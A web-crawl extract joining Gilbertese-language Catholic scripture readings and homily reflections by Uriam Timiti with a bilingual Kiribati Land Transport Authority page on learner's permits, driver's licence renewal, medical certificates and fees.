inanora te Nati ao ngkanne e na bon iai te maiu inanora.\nAo ngkana ti maiu ibukin te Uea ao ngkannne ti na botaki ni mate ma Ngaia ao ti na mangauti naba ma Ngaia inanon te mimitoing ao te kabaia ae akea tokina. Ma ngkana ti aki kakoaua Iesu ba Natin te Atua ao ti aki maiuakina ana tangira ao ngkanne ti na bon raure nako ma Ngaia ao ti na mate n aki totoki.\nTariu ao maneu ngkana ti kani kamateraoa te baintangira ae ti tia anganaki n te Kiritimati aio ao ti riai ni kamaiua Iesu n tai nako inanora. Ti na butia tinara Nei Maria ba e na buokira ao ni kawakinira inanon ara kekeiaki ba ngkai bon tinara ngaia ao e na taui baira n tai nako ba ti na toua kawain Natina ae Iesu. Ao ti na roko n tokin kawaira are bon te rinnako n te Abanuea ae Karawa inanon te kabaia ao te mimitong ae akea tokina.\n- Details\n- Written by Uriam Timiti\n-\nWiki 1 Moanibong\nWarekan te Reta nakoia Ebera. 1: 1-6\nE taetae te Atua ngkoa nakoia ara bakatibu, n tai aika maiti ao n aro aika maiti, ni wia burabeti. Ao ni bong aikai, aika kaitira ni bong, E taetae nakoira ni win Natina. E katea Natina ba te tia baibai ni bai ni kabane, ao E kariki bai ni kabane irouna. Ao Natina anne, bon raneaneani mimitongina ma katotongan arona. Boni ngaia ae kawakina aona ba n ana taeka ae maka. Boni Ngaia ae katia te makuri ae kaitiakakini bure; ao E nako ngkanne n tekateka i angatain Teuare mimitong i eta. E riki iai ni kakanato i aoia anera, ba bon oin ana bai te ara ae moan te rine nakon araia nako.\nBa antai te anera ae E tia ni kangai te Atua nakoina: \"Natiu ngkoe, I karikiko n te bong aei\"? ke tao E kangai: \"N na riki ba Tamana, ao E na riki Ngaia ba Natiu.\" Ao Ngke E karokoa ana moan Nati i aon te aba, ao E manga kangai: \"Ke a bane ana anera te Atua n taromauria.\"\nTe Taramo 96: 1-2, 6-7, 9\nKaekana: Ke a bane ana anera n taromauria.\nE tautaeka te Uea, ke e kukurei aonaba, Ke a kimareirei abamakoro nako\nE rabunaki n te nang ma te ro, e tei kaintokana i aon te Raoiroi ma te Eti. K\nE kaota ana eti karawa, a bane botanaomata n nora mimitongina,\nBobaraki i matana, ngkami tamnei nako. K\nBa boni ngkoe te Uea, Ko rietata i etan aonaba,\nKo raroa i aoia tamnei nako. K\nAlleluia, alleluia.\nTaetae, te Uea, ba e ongora am toro: a mena iroum taekan te maiu ae aki toki. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mareko. 1: 14 - 20\nNgke e a tia ni kabureaki Ioane, ao E nako Iesu nako Kariraia. E taekina te Rongorongo ae Raoiroi ae mairoun te Atua, ni kangai: \"Rairi nanomi, ao kakoaua te Euangkerio.\" Ngke E ri rarikin namani Kariraia, ao E nora Timon ma Anterea ae tarina ba a kabaka aia karaun n te nama ba bon tan akawa ngaia. E taku Iesu nakoia: \"Nakomai, irai, ao N na karaoingkami ba tan akawaia aomata.\"Ao a kitan naba aia karaun, ao a iria. Ngke E nako riki teutana, ao E nora Iakobo ae natin Tebetaio, ao Ioane are tarina, ba a mena naba n aia boti, ao a karaoi aia karaun. E weteia; ao a kitana tamaia ae Tebataio i nanon te boti, ma aia tia makuri, ao a iria.\nTibatiba: A kitana tamaia ao a ira Iesu\nInanon bong aika a nako ao ti ongora bukin rokon Iesu iroun Itaia are kaotaki ba E kabiraki ao e katabuaki Iesu ba e na uota te kamaiu ao te ririki n akoaki nakon te botanaomata ba e aonga ni kabaraki ma te tautoronaki ao ni kamaiuaki man aorakina ao ni maeka inanon te mweraoi ao te eiti.\nN te bong aio ao ti ongora aron taekan weteaia moan abotoro are muiokoia Iesu ba tan buoka ana makuri ni karokoa te rongorongo ae raoiroi nakoia aomata ba aonga ni babetitoaki n aran te Tama te Nati ao te Tamnei ae Raoiroi.\nTe bai ae ti kakoaua ni weteaia abotoro ba e rineia aomata aika a mangori aika tan akawa ao tiaki tan kairiri aika kinaki man rabakau. Te itera ae ti noria bon aron kaekan ana wetewete Iesu irouia tan weteaki ba a bon tauraoi naba ni kitan bai are a karaoi ke aia utu ao n ira Iesu.\nTi nora ikai bai aika a kakawaki ibukin kaekan ana wewete Iesu- ba e aki kakawaki te rabakau ma te wanawana iroun Iesu ibukina ba boni Ngaia ae na makuri ao n taetae iroura ngkana ti kakoaua ba ake akea te bai ae ti kona ni karaoia ma bon man ana buoka te Atua. E na bon kanganga irirakin Iesu ngkana bon iai ara eti ke ti taku ba ti aki kainnanoa te Uea ibukin karaoan tabera. Te kauoua ngkanne ba ngkana ti kaeka ana wetewete Iesu ao ti riai n tauraoi ni katikui bai nako- ara utu ke ara makuri. Ti riai n tauraoi ni karimoa tangiran te Atua iaon bai nako. Ti riai n aki kataui kaubain te maiu aio ba ti ni tautorinaki iai ba e na kabua ,ao orura te maiu ae akea tokina, E aitiara te Uea ao e nroira ni mamarara ao kabakara ma e nage n annne ao e bon weteira naba ni kaotia ba e kaninnaoira bat i karekea tinagarea ni kamuaian aonnaba. E bia rele ara tataro ni kaeka ana wewete te Uea nakoita ae kangai; \"Aio ngai te Uea; I tauraoi ni karaoa ae nanom\"\n- Details\n- Written by Uriam Timiti\n-\nWiki i muin te Ephiphany Kaabong\nWarekan ana moa n Reta Ioane 4:19; 5:4\nTi na tangira, ba E a tia n tangirira moa te Atua. Ngkana e kangai temanna: \"I tangira te Atua\", ma e riba tarina, ao bon te tia kewe. Te aomata ae aki tangira tarina are e noria, ao e aki kona n tangira te Atua ae E aki noria. Ao bon aei, te tua ae ti anganaki irouna: Ane tangira te Atua, ao ke e tangira naba tarina.\nAne kakoaua Iesu ba te Kristo, ao e rki mairoun te Atua. Ane tangira te Tama are karika te Nati, ao e tangira naba te Nati ae riki mairouna. Ti ataira ba ti tangiriia natin te Atua ngkana ti tangira te Atua ma ni karaoa are E tuangira. Ba tangiran te Atua boni kawakinan an atua, Ao aki rawawata ana tua, ba ne riki mairoun te Atua, ao e a tia ni kataea ana kai aonteaba. Ao te tokanikai ae kataea ana kai aonteaba, bon ara onimaki.\nTe Taramo 72: 1-2, 14-15, 17\nKaekana: A na bane botanaomata n taromauriko, te Uea.\nTe Uea, angan te uea am moti, angan natin te uea am eti,\nba e na kaira am botanaomata me te eti ao e na kaeti taekaia am aomata aika kainano K\nE na kamaiuia man te ioawa ma te tiritiri, a na kakawaki maiuia i matana.\nE na aki toki te tataro i bukina, e na bane botanaomata n atonga kabaiana. K\nE na neboaki arana n aki toki, e na teimatoa i an taai.\nA na bane kain aonaba ni kabaia irouna, a na bane botanaomata n atonga kabaiana. K\nAlleluia, alleluia.\nE kaoti te burabeti ae kakanato i buakora: E roko te Atua ni kawara ana botanaomata. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 4:14-22\nE okira Kariaraia Iesu, ma makan te Tamnei ae Raoiroi, ao e buta te aba arei n taekana. E reirei n aia tinakoka, ao a bane aomata ni kamoamoaa. E roko i Natareta ike E kaikawaki iai, ao E rin n te tinakoka, n ai aroni katein te tabati, ao E teirake ni wareboki. E anganaki ana boki te burabeti ae Itaia; ngke E kauka te boki, ao E bo ma te koroboki aei:\nE mena i aou Tamnein te Uea, ba E kabirai ni katabuai. E kanakoai ba N na uota te Rongorongo ae raoiroi nakoia kainnano, ao N na kaota te bara nakoia aika kainaki, te manga noraba nakoia mataki, ao N na kainaomataia aika karawawtaki ma ni katanoata te ririki n akoi mairoun te Uea.\nAo E kaina te boki, ao E kaokia nakon te tabonibai, ao E tekateka. A bane mataia kain te tinakoka irouna. Ao E taetae nakoia ni kangai: \"E kakoroaki bukin te koroboki anne i taningami n te bong aei.\" Ao a bane ni butimaea ana rongorongo, ao a mimi n taeka n akoi ake E atong.\nTibatiba: E mena i aou Tamnein te Uea, ba E kabirai ni katabuai.\nTi ongora inanon te Kiritimati aron Iesu te Tei ngke e kaotaki n te temboro ni klakoroa nanon te tua are na kareanaki te nati te mane nakoin te Atua. Ao tao kam uringa ana baebaeti te burabeti are Timeon iaona n taku nakon te Atua ba e a kona ngkai n anaa ana toro ngkai e a tia n nora te Messia i matana. E oti ikai ba oin ke bukin rokon Iesu i aonteaba ba e na kamaiuia aonnaba. N te bong aio ao ti ongora iroun Ruka koron nanon taeka ae taekin Itaia ngke e kanga; \"E mena i aou Tamnein te Uea, ba E kabirai ni katabuai. E kanakoai ba N na uota te Rongorongo ae raoiroi nakoia kainnano, ao N na kaota te bara nakoia aika kainaki, te manga noraba nakoia mataki, ao N na kainaomataia aika karawataki ma ni katanoata te ririki n akoi mairoun te Uea nakoia aoamata.\nMan ana taeka Itaia aikai ao ti a reita kaotakira ba tera bukin rokon Iesu nako aonteaba. Ba e na kabaraira man te toronaki, e na kaurei mataia mataki, e na kabebeteia akana a rawawata ao e na uota te ririki n akoi mairoun te Uea. N tokin ana waereboki Iesu ao e motikia n tuangia ake a ongora ba e a kakoroaki bukin koroboaki aikai n te bong aei.\nTariu ao maneu bon aio ngkanne ana muioko Iesu nakoira n te bong aio ba ti na uota te rongorongo ae raoiroi nakoia aomata, tin a katoki aorakia, ao ti kaokia nakon te Uea. N aron Iesu ae roko ba E na karaoa nanon Tamana ao ai arora naba ba ti a manga kanakoaki iroun Iesu ba ti na karaoa nanon te Tama ba ti aonga ni bane ni karekea te maiu ae aki totoki. Eng bon akea riki te kawai ae tu na kamaiuaki iai ma ti ngkana ti anga ao ti kaburei maiura ibukin karaoakin nanon te Uea ni manga karokoa te rongorongo ae raoiroi nakoia aomata nako ao ni babetitoia n aran te Tama te Nati ao te Tamnei ae Raoiroi. Ti na kabiraki ao ni katabuaki ibukin kaburean maiura ni karaoan nanon te Atua.","id":"","dump":"CC-MAIN-2021-04","url":"https:\/\/kccrs.org.ki\/te-maiu-ae-tabu\/kanan-tamneira?start=5","date":"2021-01-21T17:37:26Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-04\/segments\/1610703527224.75\/warc\/CC-MAIN-20210121163356-20210121193356-00496.warc.gz","language":"gil","language_score":1.0000100136,"language_script":"Latn","minhash_cluster_size":1,"top_langs":"{\"gil_Latn_score\": 1.0000100135803223}","num_words":3921,"character_repetition_ratio":0.045,"word_repetition_ratio":0.026,"special_characters_ratio":0.233,"stopwords_ratio":0.402,"flagged_words_ratio":0.0,"lang_id_score":1.0,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Learner's Permit\/Beba ni Kariaia\nTo get a license, you will need to get a learner's permit first. Learner's permit will allow you to driver a motor vehicle on probation for a period of six months before going through a driver's test. Once you pass a driver's test, you will be issue with a certificate of competency from the authorized driver's test institution. (Ko riai ni karekea am Beba ni Kariaia moa imwain ae e reke am Beba ni Kabutii bao ni mwamwanaga. Man te Beba ni Kariaia ao ko a tibwa kona ni kabuta te bao ni mwamwananga inanon te maan ae onoua namakaina imwain ae ko na tuoaki. Ngkana ko bwati te ukeuke ke te tutuo ao e na reke iroum te Beba ibukin Kamatoam ae konang kona n karekea te beba n kakoaua ibukin kabutan bao n mwamwananga man te tabo are e kariaiakaki bwa e na karaoa te tutuo).\n- Complete Form II (Kanoan Booma II)\n- Medical Check Up Form V (Booma n Tutuo)\n- Pay prescribed fee (Bwaka mwane)\nNew Driving License & Renewal of Driving License\/Beeba ae e boou & kabouan te beeba.\nUpon completion of the Leaner's Permit and issuance of Certificate of Competency, you can apply for a driver license. (Imwiin tabwaninin am reirei ni kabuta te bao ni mwamwanaga ao n reken te bebwa ni Kakoaua iroum, ao ko a kona ni bubuti karekean am Beba ni Kabutii Bao ni Mwamwananga).\nWhen Renewing or apply for a Driver's License you need to bring a valid Medical Clearance from a doctors, to know whether you fit to drive on Public Highway, (Ngkana kona kaboua ke n iangoa am kareke bwebwa ao kona riai n uota bwebwam man te onaoraki ibukin kakoauan ae ko bon marurung raoi ibukin totokoan kanganga inanon te kawai).\n- Complete Form II (Kanoa Booma II)\n- Pay prescribed fee (Bwaka mwane)\nMedical Certificate\/Bebwa n Tutuo\nWhen Renewing or applying for a Driver's License you need to bring a valid Medical Clearance from a doctors, to know whether you are fit to drive on the Public Highway. The Medical clearance shall be made every year for the renewal of driver license, only for those under 55 and every year for those above. (Ngkana kona kaboua ke n iangoa am kareke bebwa ao kona riai n uota bebwam man te onaoraki ibukin kakoauan ae ko bon marurung raoi ibukin totokoan kanganga inanon te kawai. Te Tutuo ibukia ake a mena aia ririki iaan 55 bon ni katoa teniua te ririki ao ake iaona ni katoa ririki).\n- Complete Form II (Kanoa Booma II)\n- Pay prescribed fee (Bwaka mwane)\nOverseas renewal\/Kaboua am beeba mai itinaniku\nA person holding a foreign Driver's license must fill out a conversional form, (ibukia nake aia bwebwa n kabuti bao n mwamwananga mai tinanikun Kiribati ana riai n kanoa te booma ibukin bitakin aia bebwa n kabuti bao n mwamwananga nakon ana bebwa n kabuti bao n mwamwananga Kiribati).\n- Complete form III (Kanooa Booma III)\n- Prescribed Fee (Bwaka mwane)\nConversion of Driver's License\/Rairan te beeba ni kabuti bao n mwamwananga mai tinaniku\nA person holding a foreign Driver's license must fill out a conversional form, (ibukia nake aia bwebwa n kabuti bao n mwamwananga mai tinanikun Kiribati ana riai n kanoa te booma ibukin bitakin aia bwebwa n kabuti bao n mwamwananga nakon te beba n kabuti bao n mwamwananga iaon Kiribati)\n- Complete form III (Kanooa Booma III)\n- Prescribed Fee (Bwaka mwane)\nLost Valid License\/E bua am raitienti\nLicense, must pay the same fee according to their classes for reprinting their Driver's License, (Ngkana e bua am bwebwa n kabuti bao n mwamwananga ao e tuai bane taina ko riai kabwaka boon am bwebwa are e bua n kaineti ma boon kabutan bao n mwamwananga)\nExpire Lost Driver's License\/E a bane taina\nMust report himself\/herself to the Kiribati Land Transport Authority office, fill out Form II for applying a renewal driver's license and pay prescribed fee & penalty fee (Ena riai n roko teuare\/neiere n ribotina bwa e bua ana beba n kabuti bao n mwamwananga nakon aobitin te Kiribati land Transport Authority, ena kanoa te Form II ibukin manga kabouan ana beba n kabuti bao n mwamwananga ao n kabwaka boon ana beba n reitaki ma boon tuana.\n1. Complete Form II (kanooa Booma II).\n2. Pay prescribed Fee (Bwaka mwane).\nRenewing a Driver License expired more than 2-3 years\/kabouakin te beba n kabuti bao n mwamwananga ae riaon 2-3 te ririki manna.\nRenewing Driving License expired more than 2 - 3 years, will be given a penalty fee plus, to pay and compensate previous of date\/years where license expired, before renewing to a new license. (kabouakin te beba n kabuti bao n mwamwananga ae riaon 2 nakon 3 ririkina n bane taina, ena bon kabwaka boon tuana ao n manga kabooa boonimiin ana license n kaitiaka kanoan te ririki are e kaman bane iai taina imwain ae manga tibwa kabooa kaboauana.\n1. Complete Form II (kanooa Booma II).\n2. Pay Prescribed fee (Bwaka mwane).","id":"","dump":"CC-MAIN-2021-43","url":"https:\/\/landtransport.ki\/licensing1.html","date":"2021-10-20T17:39:49Z","file_path":"s3:\/\/commoncrawl\/crawl-data\/CC-MAIN-2021-43\/segments\/1634323585322.63\/warc\/CC-MAIN-20211020152307-20211020182307-00453.warc.gz","language":"gil","language_score":0.9983911514,"language_script":"Latn","minhash_cluster_size":6,"top_langs":"{\"gil_Latn_score\": 0.9983911514282227}","num_words":818,"character_repetition_ratio":0.1,"word_repetition_ratio":0.119,"special_characters_ratio":0.21,"stopwords_ratio":0.203,"flagged_words_ratio":0.0,"lang_id_score":0.998,"perplexity_score":500.0,"cluster_detection":-1} +{"text":"Kanan Tamneira...\n- Details\n- Written by Uriam Timiti\n-\nWarekan ana Reta Bauro nakoia I Korote..1: 1-8\nBauro, ae rineaki iroun te Atua ba ana Abotoro Kristo Iesu, ao tarira ae Timoteo, nakoia akana raoiroi akana i Korote, aika tarira aika kakaonimaki i nanoni Kristo. Te akoaki ma te raoi nakoimi mairoun te Atua ae Tamara.\nTi aki toki ni katituaraoa te Atua ae Taman ara Uea ae Iesu Kristo, ngkai ti uringi ngkami n ara tataro, ba ti ongo taekan ami onimaki i nanoni Kristo, ao ami tangira nakoia akana raoiroi ni kabaneia, i bukin te kantaninga are katauraoaki i maimi i karawa. Kam a tia n ongo taekan te onimaki anne ngkoa ngke kam anganaki taekan te koaua ae te Rongorongo ae Raoiroi. E roko te rongorongo anne iroumi, ao e roko naba i aonaba ni kabuta, ao e rikirake ma ni kariki ua? Bon arona naba iroumi man te tai are kam ongo iai ma n ota ni koaua n ana akoi te Atua. E reirei ngkami iai Ebabera, ae raora ni makuri ae tangiraki, ae kakaonimaki ni makuri i bukira ba ana minita Kristo; boni ngaia are kaongoraaira taekan ami tangira i nanon te Tamnei.\nTe Taramo 51: 10-11\nKaekana: I onimakina ana akoi te Atua.\nAi aron te kai ae te oriwa ngai, ae rikirake i nanon uman te Atua.\nI onimakina ana akoi te Atua, n tai nako n aki toki. K.\nN na neboiko n aki toki, i bukin am makuri.\nN na kaota aram ba e raoiroi, i mataia am aomata ni bane. K.\nAlleluia, alleluia.\nAm taeka bon au taura n nakonako, ao bon otani kawaiu. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 4: 38-44\nE kitana te tinakoka Iesu, ao E rin n ana auti Timon. E ituaki tinani bun Timon n te kabuebue ae korakora, ao a butia Iesu i bukina. Ao E baraki i aona, ao E tua nakon te kabuebue. Ao e a kitanna naba te kabuebue, ao e teirake neierei ni kakaai aroia. Ngke e a bungi taai, ao a bane aomata ake iai aia aoraki ni uotiia nakoina. Ao E katokai baina i aoia ni kabaneia n tatabemania, ao E kamaiuia. Ao a otinako taimonio mairouia ake a maiti, n takarua ni kangai: \"Bon Natin te Atua Ngkoe.\" Ma E kamatoa banana nakoia ba a na aki taetae, ba a ataia ba te Kristo ngaia. Ngke e a ingabong, ao E nakon te tabo ae aki kakaai. A a tabe te koraki ni kakaaea, ao ngke e a reke, ao a kan taua ba E na aki kitania. Ma E taku nakoia: \"I riai n taekina naba te rongorongo ae raoiroi nakoni kawa nako, ae taekan Uean te Atua, ba boni ngaia bukini kanakoau.\" Ao E wakina ana reirei i nanon tinakokani Kariraia.\nTibatiba: Te kakaonimaki ni makuri ibukin te Uea n ana akoi ae kororaoi\n- Details\n- Written by Uriam Timiti\n-\nWiki 22 Kauabong\nWarekan ana moa n Reta Bauro nakoia I Tetaronike. 5: 1-6, 9-11\nTi aki bae ni koroboki nakoimi, tari, i bukin te tai ma te bong ae E na roko iai te Uea. Kam bon ataia raoi ba e na roko ana Bong te Uea n ai aron te tia ira ni bong. Ngkana a kangai aomata: \"Te rau ma te mweraoi\", ao boni ngaia te tai ae e na rina iai ni bakariia te kabuanibai, n ai aron aririn te aine ae kani bung. A na bon aki kona n tibanako ma ngaia.\nMa kam aki mena i nanon te ro ngkami, tari, ba e na kakubaingkami te bong anne n ai aron te tia ira. Bon natin te ota ngkami ni bane, ao natin te ngaina. Tiaki ana aomata te bong ma te ro ngaira. Ma ngaia ae ti na aki matu n ai aroia akana temangina, ma ti na taratara ao ti na taubang. Tiaki nanon te Atua ba E na karekea kaira, ma bon nanona ba ti na karekea kamaiuara iroun ara Uea ae Iesu Kristo, are mate i bukira ba ti aonga ni maiu ni botaki ma Ngaia i nanon te maiu ke te mate. Ma ngaia ae kam riai ni kaungaingkami i marenami ma ni ibuobuoki, n ai aron ae kam boni kakaraoia.\nTe Taramo 26: 1, 4, 13-14\nKaekana: E na nora te Uea i abaia akana maiu.\nBon te Uea otau ma buokau, Antai ae N na makua?\nBon te Uea au nono ni kamaiu, antai ae N na maku irouna. K.\nIai te bai ae butia te Uea, te bai ae I matennanoia:\nI bia maeka n uman te Uea ni kabanea au tai ni maiu,\nba N na nora ana akoi te Uea ao N na miakina mwengana. K\nI ataia: N na nora ana akoi te Uea, i abaia akana maiu.\nOnimakinna, keiaki, kamatoa nanom, Onimakina te Uea. K.\nAlleluia, alleluia.\nTe Atua, raira nanou nakoim, Ao reireiai am tua Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka..4: 31-37\nE ruo Iesu nako Kaberenaum ae kawani Kariraia, ao E reireinia aomata n te bong ae te Tabati. A teke nanoia n ana reirei, ba E taetae n ai aron te aomata ae iai makana.\nIai i nanon te tinakoka temanna te aomata ae taniaki iroun te tamnei ae kamara, ae e korakora banana n takarua ni kangai: \"Ai tera am bai iroura, Iesu ae te I Natareta? Ko roko ni kamaunaira? I ataiko ba Teuare Tabu ae ana aomata te Atua.\" Ma E boaia Iesu ni kangai: \"Kainababu, ao otinako mairoun teuanne.\" Ao e kabukitaua te aomata arei te taimonio i aontano, ao e otinako mairouna n aki kamarakia. A bane n rotaki n te maku, ao a kangai i bon irouia: \"Ai kamimi ra te taeka anne! E tuatua nakoia tamnei aika kamara ma te maka ao te korakora, ao a otinako!\" Ao e buti rongorongona n tabo nako n te aba arei.\nTibatiba: Ti na nora te Uea i abaia akana maiu.\nTariu ao maneu iai uoua taeka aika a kakawaki nakoira inanon maiura aio are a na kaota reken te wanwana ni koaua iroura n aron ana kataninga te Atua. Ao taeka aikai bon te maiu ke te mate ae aki totoki. E ngae ngke e matata iroura nanon taeka aikai bon tabera ae ti riai ni karaoia ba ti na rineia ba tera te kawai ae ti na toua, te maiu ke te mate ae akea tokina. Ao ti kakoaua ba tera ae ti na riai n rineia ma te kanganga ba e rangi ni maiti taian kariri ma kabakabaka ba ti na ira ana kawai teuare buakaka are bon te mate. N te botoniango are ti rineia n te bong are anaki man taekan te taramo n te bong aio are bon ara ingainga n nano ni kan nora te Uea i abaia akana a maiu. Ba aio e kaota te toko ae ti uakainna ba bon abaia akana a maiu. Ba ti na ti roko n te aba aio ti ngkana ti a tia ni maiuna te raoiroi inanon maiura. Ti na roko i abaia akana a mate ngkana ti a tia n rineia ba ti na kakaraoa te buakaka ao te bure are a na karokoira n te mate ae akea tokina.\nTariu ao maneu ti na butia te Atua ba E na anganira te wanawana n rinea te maiu ae aki totoki ba ti aonga n roko ao n nora te Uea i abaia akana a maiu.\n- Details\n- Written by Uriam Timiti\n-\nWiki 21 Kanimabong\nWarekan ana moa n Reta Bauro nakoia I Tetaronike. 4: 1-8\nTari, ti tuangingkami ao ti butingkami i nanon te Uea ae Iesu: kam a tia ni butimaea ara reirei n taekan te aroaro ae kakukureia te Atua, ao kam a kakairi iai ngkai; kam na karaoiroi riki aromi iai. Ba kam bon atai taiani kaetieti ake ti angani ngkami mairoun te Uea ae Iesu.\nNanon te Atua iroumi, boni karaoiroami. Kam na kaki te kamara; e na rabakau te aomata ni baina te rabata ane irouna ma te raoiroi ao te karine n aki ira nanon te kaibabaru, n ai aroia bekan aika aki ata te Atua. E na akea temanna ae na kamatauninga tarina ke ni babakanikawaia n te aro anne. E karekekai te Uea i bukini baikanne ni kabane, ao ti a tia n tuangi ngkami ma ni kaotia nakoimi. Ba E aki weteira te Atua nakon te kamara, ma E weteira ba ti na raoiroi. Ma ngaia ae, ngkana iai ae rawa iai, ao e na aki rawa nakon te aomata, ma e rawa nakon te Atua, are a tia n angani ngkami te Tamnei ae Raoiroi.\nTe Taramo 96: 1-2, 5-6, 10-12\nKaekana: Ke a kukurei akana raoiroi iroun te Uea.\nE tautaeka te Uea, ke e kukurei aonaba, Ke a kimareirei abamakoro nako.\nE rabunaki n te nang ma te ro, Kaintokana, bon te Raoiroi ma te Eti. K.\nA neinei maunga n ai aron te nenea, i matan Teuare Uean aonaba ni bane.\nE kaota ana eti karawa, A bane botanaomata n nora mimitongina. K.\nE tangira ane riba te buakaka, E kawakini maiuia ana aomata,\nE kamaiuia mairouia akana ioawa. K.\nE oti te ota i bukin ane raoiroi, Ao te kabaia i bukin ane e eti nanona.\nKukurei iroun te Uea Ngkami aika kam raoiroi, Neboa arana ae tabu. K\nAlleluia, alleluia.\nReireiai am kawai ma am tua, Ao N na iangoi am makuri aika kamimi. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Mataio..25: 1-13\nE taetae ni kaikonaki Iesu nakoia ana reirei ni kangai: \"Aei aroni kabotauan te Abanuea ae karawa: A uoti aia taura ataeinaine ake tengaun ba a na nako ni butimaea te tia iein. A nanobaba niman, ao a wanawana ake niman. A anai aia taura nake a nanobaba, ma akea aia ba. A ua baa nake a wanawana i nanon aia atiniba ma aia taura. Ngke e a iremwe n roko te tia iein, ao a bane ni kataoi mataia ni matu. Ngke e a nukanibong, ao e takarua te aba ni kangai: 'Ae e a roko te tia iein! Otinako ni butimaia.' Ao a bane n uti ateinaine akekei, ao a katauraoi aia taura. A taku nake a nanobaba nakoia nake a wanawana: 'Anganira teutana n ami baa, ba a kani mate ara taura.' Ma a kaekaia nake a wanawana ni kangai: 'E na aki tau maitina i bukira ao i bukimi, e raoiroi ngkana kam nakoia tani bobai ni kaboa ami baa.' Ao ngke a nako ao e roko naba te tia iein, ao a rin ma ngaia n te ru n amarake nake a tauraoi, ao e kainaki te matora. Rimui a roko naba nake raoia, ao a kangai: 'Te uea, te uea, kauka te mataroa nakoira.' Ma e kaekaia ni kangai: 'I tuangi ngkami te koaua: I aki kinai ngkami.' Ma ngaia ae kam na tantani, ba kam aki ata te bong ma aoa.\"\nTibatiba: Babaina te tauraoi ni butimaea te Tia Iein\nTariu ao maneu n te bong aio ao ti reita te maroro iaon kakawakin karekean te wanawana ni koaua inanon maiura aio ba ti aonga ni karekea te maiu ae aki totoki i Karawa.\nAo n aron are e tibaki ngkoananoa ao te wanawana ni koaua bon karaoan ao kaikoan kaubaira n te maiu aio are na karekea nakoia te maiu ae akea tokina. Ao tera te kaubai ae na karokoira i Karawa? Te kaubai aio bon ara makuri ae raoiroi ke aki karaoan te bure ni kamara ke te rawa ni kabarai aia bure raora. Ao e kabontauaki ara makuri aika raraoi ba kanga ai aron baan te taura are ti kainnanoia ibukin butimaean Iesu ngkana e butimaira nakon te bakanimare are ti kaoaki nako iai. Ba ngkana e roko te tia mare ao ti na tiai n tei n tauraoi ni butimaea te Tia mare are Iesu ba e na kairira nakon te baka n amarake are ti kaoaki nako iai.\nN te karaki aio ao ti tuangaki iai ba ti riai n teimatoa ni kakaraoa ae raoiroi. Ngkana ti baka ni karaoa te bure ao ti na kataia n aki kamanira ma tin a waekoa ni manga okira te Atua ni bubuti kabaraan ara bure. Ba te bai ae kakawaki ikai ba ngkana E kuneira Iesu ba ti maiu inanon te karatia ngkana e roko ao ngkanne ti na bon rinnako ma Ngaia nakon te bakanamarake are akea tokina. Ti na teimatoa n kaikoi baini eta ao tiaki bain aonteaba ba ti aonga n tauraoi n ira Iesu nako Karawa ngkana e roko ni weteira n ara tai ni mate.\n- Details\n- Written by Uriam Timiti\n-\nWiki 22 Moanibong\nWarekan ana moa n Reta Bauro nakoia I Tetaronike. 4: 13-18\nTari, ti aki tangiri ngkami ba kam na babanga taekaia akana mate, ba a kawa n rawawata nanomi n ai aroia aomata aika akea aia kantaninga. Ti kakoaua mateni Iesu ma mangautina: ti na kakoauai naba taekaia akana mate i nanoni Iesu, ba E na kairia nako te Atua. Ti na kaongoingkami ae ti ongo iroun te Uea: ngaira aika ti maiu, aika ti na oa okin te Uea, ti na aki rimoaia akana mate. E na ruo te Uea boni Ngaia mai karawa, ngkana e bo taina, n takaruan te anera ao n tangi nana bu te Atua. A na uti moa nake a tia ni mate i nanoni Kristo. Ao rimui, ngaira aika ti maiu, aika ti na oa te tai anne, ti na botaki ma ngaia ni uotaki rake i aon te nang, ni butimaea te Uea i eta. Ao ngkanne ti na aki toki ni botaki ma te Uea. Ma ngaia ae kam na uaia ni kabebetei nanomi iroumi n taeka akanne.\nTe Taramo 95: 1, 3-5, 11-13\nKaekana: E nakomai te Uea ni motiki taeka.\nAnenea te Uea n te kuna ae bou, anenea te Uea, aonaba ni bane.\nTaekina mimitongina nakoia botanaomata, taekin ana kamimi nakon aba nako. K.\nE kakanato te Uea, E riai n neboaki, E kakamaku nakoia atua nako.\nAtuaia botanaomata, bon taian akea. Bon te Uea are karika karawa. K.\nTe kabaia i karawa, te kimareirei i aon te aba! Ke e rurunga marawa ma naona,\nKe e kukurei aontano na baina nako, ke a takarua arokani buakonikai. K.\nKe a bane ni kimareirei i matan te Uea, ba E nakomai n tautaeka i aon te aba,\nE na motika taekan aonaba n te eti, ao taekaia botanaomata n te koaua. K\nAlleluia, alleluia. Anganai te maiu, te Uea, ao N na ira nanon am tua. Alleluia.\nEuangkerio\nWarekan ana Euangkerio Ruka. 4: 16-30\nE roko Iesu I Natareta ike E kaikawaki iai, ae E rin n te tinakoka, n ai aroni katein te tabati, ao E teirake ni wareboki. E anganaki ana boki te burabeti ae Itaia; ngke E kaeka te boki ao e bo ma te koroboki aei: E mena i aou Tamnein te Uea, ba E kabirai ni katabuai. E kanakoai ba N na uota Te rongorongo ae raoiroi nakoia kainnano, ao N na kaota te bara nakoia ake a kainaki, ao N na kainaomataia ake a karawawataki ao N na kaota te ririki n akoi mairoun te Uea.\nAo E kaina te boki, ae E kaokia nakon te tabonibai, ao E tekateka. A bane mataia kain te tinakoka irouna. Ao E taetae nakoia ni kangai: \"E kakoroaki bukin taekan te koroboki anne i taningami n te bong aei.\" Ao a bane ni butimaea ana rongorongo, ao a mimi n taeka n akoi ake E atong. A kangai: \"Tiaki natini Ioteba Teuanne?\" E kaekaia ni kangai: \"I ataingkami ba kam nang kaekaai n te taeka ae kangai: Te tia katoki aoraki, ani kamaiuko I bon iroum. Te baere ti ongo ba ko karaoia I kaberenaum, ao karaoia naba I abam ikai. Ao E manga taku naba: \"I tuangingkami te koaua: akea te burabeti ae butimaeaki raoi I abana. I tuangingkami: a maiti aine ake a mate buia ibuakoia Iteraera n ana tai Eria, ngke e in kkarawa I nanon tenua te ririki ao onoua namakaina, ao e kabuta te rongo: ma n aki kanakoaki Eria nakon temanna I buakoia ba ti nakon neiere te I Tarebata n te aba are Tiion. A maiti naba rebera ibuakoia Iteraera n ana tai Eritai ma e aki kamaiuaki temanna I buakoia, ba ti Namaan 